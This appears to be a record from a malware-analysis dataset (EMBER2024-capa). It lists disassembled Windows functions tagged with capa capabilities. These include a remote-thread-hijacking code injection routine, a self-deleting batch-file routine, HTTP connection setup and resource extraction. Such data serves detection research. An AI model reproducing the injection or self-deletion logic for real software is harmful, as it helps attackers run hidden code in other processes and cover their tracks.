joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403840
Capabilities:
Allocate or change rwx memory
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
push edi
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2e0], edi
mov dword [ebp - 0x2dc], esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [ebp - 0x2d0]
push ecx
push edi
mov dword [ebp - 0x2d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edi, 0x403830
sub edi, 0x403810
push edi
call fcn.004066ae
push edi
mov ebx, eax
push 0x403810
push ebx
call fcn.004fe940
mov eax, esi
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038b5
push 0x40
sub eax, esi
push 0x1000
lea edx, [eax + edi + 1]
mov eax, dword [ebp - 0x2d8]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [edi - 3]
xor esi, esi
mov dword [ebp - 0x2d4], eax
test ecx, ecx
je 0x403949
jmp 0x4038f0
cmp dword [esi + ebx], 0xaaaaaaaa
jne 0x403919
push 0x549554
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + ebx], eax
mov eax, dword [ebp - 0x2d4]
cmp dword [esi + ebx], 0xbbbbbbbb
jne 0x403928
lea ecx, [eax + edi]
mov dword [esi + ebx], ecx
cmp dword [esi + ebx], 0xcccccccc
jne 0x403941
mov edx, dword [ebp - 0x218]
sub edx, esi
sub edx, eax
sub edx, 4
mov dword [esi + ebx], edx
inc esi
lea ecx, [edi - 3]
cmp esi, ecx
jb 0x4038f0
lea ecx, [ebp - 0x2e4]
push ecx
push edi
push ebx
mov ebx, dword [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x2dc]
mov eax, esi
lea ecx, [eax + 1]
jmp 0x403970
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403970
sub eax, ecx
lea edx, [ebp - 0x2e4]
push edx
inc eax
push eax
push esi
mov esi, dword [ebp - 0x2d4]
lea eax, [esi + edi]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x218], esi
mov esi, dword [ebp - 0x2e0]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fa984
mov esp, ebp
pop ebp
ret
Function at 0x4039d0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x403a0f
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret 4
lea edx, [ebp - 0x20]
push edx
push esi
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x403a3a
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
cmp dword [ebp - 0x14], edi
jne 0x403a57
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0x1fffff
call ebx
test eax, eax
jne 0x403a67
lea ecx, [ebp - 0x20]
push ecx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x403a41
jmp 0x403a78
mov edx, dword [ebp - 0x28]
push edx
mov edx, dword [ebp - 0x24]
mov ecx, eax
call fcn.00403840
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop ebx
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004fa984
mov esp, ebp
pop ebp
ret 4
Function at 0x4055b0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00416271
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x48]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4055d1
sub eax, edx
je 0x4056bd
call fcn.00416271
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x48]
mov ecx, str._dontcopy
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405610
test dl, dl
je 0x40560c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405610
add eax, 2
add ecx, 2
test dl, dl
jne 0x4055f0
xor eax, eax
jmp 0x405615
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4056bd
push esi
push 0x100
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004fc760
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x204]
push str.del__s_r_n
push eax
mov edx, 0x100
call fcn.00406380
push 0x549ba0
push str.selfremove.bat
call fcn.004fb853
mov esi, eax
add esp, 0x14
test esi, esi
je 0x4056bc
push esi
push str.timeout__t_1__nul_r_n
call fcn.004fb94b
lea ecx, [ebp - 0x204]
push esi
push ecx
call fcn.004fb94b
push esi
push str.del_selfremove.bat_r_n
call fcn.004fb94b
push esi
call fcn.004fb8d7
add esp, 0x1c
push 0
push str.selfremove.bat
call dword [sym.imp.KERNEL32.dll_WinExec]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret
Function at 0x4069a3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0040c3fb
call fcn.004067db
cmp eax, esi
pop esi
jne 0x4069bf
mov ecx, 0x56a720
jmp fcn.0041a2c5
ret

Function at 0x40de99
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40dee0
call fcn.00416271
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40dee0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40defc
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040d99e
mov esi, eax
test edi, edi
je 0x40defa
test ebx, ebx
je 0x40defa
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e307
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5194de
call fcn.004fc655
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x40e32c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40e37e
call fcn.004108ca
push eax
lea ecx, [ebp - 0x10]
call fcn.004017f0
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004fcb96
push eax
call fcn.0040df03
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401870
mov eax, esi
call fcn.004fc72d
ret 8

Function at 0x40f4cf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00416271
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40f508
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040f111
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x40f566
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40f58a
cmp dword [edi + 0x74], 0
jne 0x40f58a
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00416271
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040f527
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x412d33
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004129f2
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x412d7d
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004076b9
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407441
jmp 0x412d88
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041be14
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x412d8e
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0040dfd1
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x412dcb
call fcn.004129f2
mov dword [esi + 0xc], 1
jmp 0x412dd0
call fcn.004129f2
cmp dword [esi], 0
je 0x412e19
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x412df1
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004076b9
jmp 0x412e03
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004019c0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407441
jmp 0x412e3d
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x412e3d
push dword [esi]
push dword [ebp + 8]
call fcn.0041be14
pop esi
pop ebp
ret 0xc
Function at 0x4134bb
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x413503
push 0x5240c8
push 4
push eax
call fcn.004fe50e
push eax
call fcn.0040df03
add esp, 0x10
jmp 0x413519
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x41359c
push edi
call fcn.004fcb4d
mov edi, dword [eax]
call fcn.004fcb4d
and dword [eax], 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.004fcaea
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.004fcb4d
cmp dword [eax], 0
je 0x413570
call fcn.004fcb4d
push dword [eax]
call fcn.00407897
pop ecx
jmp 0x413577
call fcn.004fcb4d
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
pop edi
je 0x41359c
cmp dword [ebp - 0x11c], esi
jae 0x41359c
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x41359e
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004fa984
leave
ret
Function at 0x4135ab
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.00409440
pop ecx
cmp eax, esi
je 0x413695
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x413695
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.004fc760
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x413695
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x413695
cmp esi, 0x14
jge 0x413695
push 0x10
push 0
push edi
call fcn.004fe72f
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x413684
call fcn.004fcb4d
cmp dword [eax], 0x22
je 0x413684
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.004fe107
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x41365a
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x56a654], 0
jne 0x413720
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x413749
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.004134bb
pop ecx
pop ecx
test eax, eax
jne 0x41374b
inc edi
cmp edi, esi
jl 0x413726
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fa984
leave
ret 8

Function at 0x416921
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x41694c
call fcn.00416271
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi + 8], eax
test eax, eax
jne 0x41696f
push eax
push dword [esi + 4]
call fcn.004168a7
push esi
push eax
mov ecx, 0x56a674
call fcn.0041654b
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x4171d1
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x5145ba
call fcn.004fc655
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x1c]
mov ebx, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417191
and dword [ebp - 4], 0
mov dword [esi], vtable.CHttpConnection.0
call fcn.004108ca
push eax
lea ecx, [esi + 0x18]
call fcn.004017f0
push dword [ebp + 0xc]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.00402000
push dword [esi + 8]
mov ebx, dword [ebx + 8]
push 0
push 3
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esi + 4], eax
test eax, eax
jne 0x417248
push eax
push dword [esi + 8]
call fcn.004168a7
push dword [esi + 0xc]
mov ecx, 0x56a674
push eax
call fcn.0041654b
mov eax, esi
call fcn.004fc72d
ret 0x18

Function at 0x4193f1
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x419426
xor eax, eax
jmp 0x419479
lea eax, [ebp - 0x210]
push eax
call fcn.004fe107
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x419457
push 0x524be8
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.004ff84a
add esp, 0xc
test eax, eax
jne 0x419422
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.004ff84a
add esp, 0xc
test eax, eax
jne 0x419422
lea eax, [ebp - 0x210]
push eax
call fcn.004094c6
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004fa984
leave
ret

Function at 0x466259
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x466273
call fcn.00416271
mov esi, dword [eax + 0xc]
push dword [0x56c464]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x466291
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x466289
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4662be
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x46628b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00466187
mov esi, eax
jmp 0x4662b0
Function at 0x4e1510
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e1528
mov edi, dword [esi + 0xc]
jmp 0x4e1568
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e1541
call fcn.00411146
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e1556
call fcn.00411146
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e1568
call fcn.00411146
call fcn.00416271
cmp dword [eax + 0x3c], 0
je 0x4e157d
push edi
mov ecx, ebx
call fcn.004e03d6
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e142a
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e159b
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e15a7
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4fa984
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5673f0]
jne 0x4fa98e
repz ret
jmp fcn.005026d4
Function at 0x50f166
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00504c7e
and dword [ebp - 0x14], 0
cmp dword [0x56ed80], 0
mov dword [ebp - 0x18], eax
jne 0x50f219
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x50f2c1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x50f2c1
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x547ff4
push ebx
mov dword [0x56ed80], eax
call edi
push eax
call esi
push 0x547fe0
push ebx
mov dword [0x56ed84], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x56ed88], eax
call edi
push eax
call esi
mov dword [0x56ed90], eax
test eax, eax
je 0x50f219
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x56ed8c], eax
mov eax, dword [0x56ed8c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x50f272
cmp dword [0x56ed90], ecx
je 0x50f272
push eax
call esi
push dword [0x56ed90]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x50f272
test ebx, ebx
je 0x50f272
call edi
test eax, eax
je 0x50f269
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x50f269
test byte [ebp - 8], 1
jne 0x50f272
or dword [ebp + 0x10], 0x200000
jmp 0x50f2a5
mov eax, dword [0x56ed84]
cmp eax, dword [ebp - 0x18]
je 0x50f2a5
push eax
call esi
test eax, eax
je 0x50f2a5
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x50f2a5
mov eax, dword [0x56ed88]
cmp eax, dword [ebp - 0x18]
je 0x50f2a5
push eax
call esi
test eax, eax
je 0x50f2a5
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x56ed80]
call esi
test eax, eax
je 0x50f2c1
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x50f2c3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fa984
leave
ret
Function at 0x1800332f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x18003385
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x18003385
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x18003377
cmp esi, ecx
jae 0x18003385
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x18003365
cmp esi, ecx
jae 0x18003385
cmp word [esi], 0
je 0x18003385
mov eax, esi
jmp 0x18003387
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x180041e1
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
call fcn.18004e86
mov esi, dword [ebp - 4]
lea edi, [ebx + 0x78]
xor eax, eax
cmp dword [esi - 0xc], eax
je 0x180042d6
push esi
push 1
push str.EnableLogging
push str.LoggingSettings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push 1
test eax, eax
push str.ShowTime
setne al
push str.LoggingSettings
mov byte [ebx + 0x74], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push 0
test eax, eax
push str.LogToFile
setne al
push str.LoggingSettings
mov byte [ebx + 0x76], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push 0
test eax, eax
push str.LogToOutputDebug
setne al
push str.LoggingSettings
mov byte [ebx + 0x77], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push 1
test eax, eax
push str.AppendToFile
setne al
push str.LoggingSettings
mov byte [ebx + 0x7c], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
setne al
xor ecx, ecx
mov byte [ebx + 0x7d], al
inc ecx
mov edx, dword [edi]
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, 0x104
or ecx, eax
jge 0x180042af
push 0x104
mov ecx, edi
call fcn.18005c68
mov edx, dword [edi]
push esi
push 0x104
push edx
push str.GoogleUpdate.log
push str.LogFilePath
push str.LoggingSettings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.180058b5
jmp 0x180042fe
push str.GoogleUpdate.log
mov byte [ebx + 0x74], 1
mov word [ebx + 0x76], 1
mov word [ebx + 0x7c], 0x100
call fcn.1812b770
pop ecx
push eax
push str.GoogleUpdate.log
mov ecx, edi
call fcn.18005b15
cmp byte [ebx + 0x75], 0
je 0x18004308
mov byte [ebx + 0x76], 1
xor eax, eax
mov byte [ebx], 1
mov dword [ebx + 4], 7
mov dword [ebp - 4], eax
mov ecx, dword [eax + 0x18196d40]
mov dword [ebp - 0xc], ecx
test ecx, ecx
je 0x18004376
mov ecx, dword [eax + 0x18196d44]
mov dword [ebp - 0x10], ecx
cmp ecx, 9
ja 0x18004376
lea eax, [ebp - 8]
mov ecx, ebx
push eax
call fcn.18004e86
mov edi, dword [ebp - 8]
cmp dword [edi - 0xc], 0
je 0x18004359
push edi
push 1
push dword [ebp - 0xc]
push str.LoggingLevel
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x1800435c
xor eax, eax
inc eax
mov edx, dword [ebp - 0x10]
test eax, eax
setne cl
mov byte [ebx + edx*8], cl
lea ecx, [edi - 0x10]
mov dword [ebx + edx*8 + 4], eax
call fcn.18003435
mov eax, dword [ebp - 4]
add eax, 8
mov dword [ebp - 4], eax
cmp eax, 0x48
jb 0x18004317
call fcn.1800a8bd
lea ecx, [esi - 0x10]
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x84], edx
call fcn.18003435
pop edi
pop esi
pop ebx
leave
ret